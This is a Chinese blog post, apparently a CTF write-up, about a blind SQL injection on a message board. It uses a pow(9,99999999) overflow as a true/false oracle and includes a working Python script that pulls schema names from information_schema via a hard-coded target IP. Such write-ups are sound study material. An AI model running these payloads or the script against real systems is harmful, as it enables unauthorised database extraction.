美文网首页
基于sql语法是否正确的注入

基于sql语法是否正确的注入

作者: gelinlang | 来源:发表于2019-07-11 11:24 被阅读0次

hw结束了,省上的hw又接着了,哭~。弱鸡的我只有继续当苦力,苦啊苦。昨天看见了一道sql注入题。(不知道什么比赛)
访问页面,显示一个留言板,首先尝试xss发现没什么用,一直返回受影响行数1发帖成功,扫了下目录,也没什么有用的。接着尝试注入发现输入单引号发现,返回受影响行数-1 发帖失败,应该是存在注入。
经过测试,发现不管输入什么都返回受影响行数1发帖成功。只有开始测试的时候没有闭合单引号返回受影响行数-1 发帖失败,后面经过分析,如下:

SQL语法正确的话,会显示”受影响行数1发帖成功” 。例如:title=1' and 1=2 and pow(9,99999999) or '1&author=1&content=1
SQL语法不正确的话,会显示”受影响行数-1 发帖失败” 。例如:title=1' and 1=1 and pow(9,99999999) or '1&author=1&content=1
注:pow(9,99999999)会导致数据库因为数字过大而出错,当title=1' and 1=2 时,条件不成立,便不执行接下来的pow(9,99999999)函数,sql语法正确。反之执行导致异常。

和之前国赛的那道全世界最简单的sql类似。


图片.png
图片.png

由此可进行盲注跑数据,编写脚本或者修改sqlmap的temper。

图片.png

辣鸡脚本如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests

chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{},@:\/_-."
name = ""
url = "http://115.238.30.26:13641/index.php"
yes = "受影响行数-1"

for i in range(40):
    print(i)
    for char in chars:
        #数据库sqy 表comment 列id,username,title,content,time
        #payload = "1' and ascii(substr(database(),{},1))={} and pow(9,99999999) or '1".format(str(i), ord(char))
        payload = "1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='comment'),{},1))={} and pow(9,99999999) or '1".format(str(i), ord(char))
        #payload = "1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='say'),{},1))={} and pow(9,99999999) or '1".format(str(i), ord(char))
        
        data = {"title": payload,
                "author": 1,
                "content": 1
                }
        res = requests.post(url, data=data).text
        if yes in res:
            name += char
            print(name)
            break

相关文章

  • 基于sql语法是否正确的注入

    hw结束了,省上的hw又接着了,哭~。弱鸡的我只有继续当苦力,苦啊苦。昨天看见了一道sql注入题。(不知道什么比赛...

  • 谈谈sql注入与XSS跨站攻击

    sql注入 概述:sql注入可以理解为入侵者通过sql语法漏洞来改变原sql执行语句来达到某种目的的行为。举个例子...

  • sql注入之盲注

    所谓的盲注即是在sql注入后在前端没有出现报错信息,无法判断是否注入成功。所以需要盲注进行判断 盲注分为基于布尔型...

  • MySQL学习笔记(五)存储过程

    存储引擎 输入SQL命令,MySQL引擎对命令进行分析,查看输入的语法是否正确,如果正确,再进行编译,编译成MyS...

  • Less1

    基于报错的sql注入 字符型注入 数字型 括号型推测sql语句 **union ** 联合查询的方法,主要利用my...

  • SQL注入:实施报错注入攻击

    定义 报错注入是一种SQL注入类型,用于使SQL语句报错的语法,用于注入结果无回显但错误信息有输出的情况。返回的错...

  • SQL注入

    SQL分类: 按照数据类型分类:>整形注入>字符型注入 按照注入语法分类 按照数据提交方式分类> post> ge...

  • sqlmap使用

    环境准备: 假设存在sql注入的url是 一、基于mysql注入 a、sqlmap注入爆数据库 如下图显示,即爆出...

  • DVWA之sql injection(blind)

    Sql Injection(Blind):sql注入(盲注),服务器不会直接返回具体的数据库错误或者语法错误,而是...

  • sql注入学习

    sql注入笔记! 判断是否存在注入漏洞 经典的单引号判断。 select * from xx where id= ...

网友评论

      本文标题:基于sql语法是否正确的注入

      本文链接:https://www.haomeiwen.com/subject/zrjrkctx.html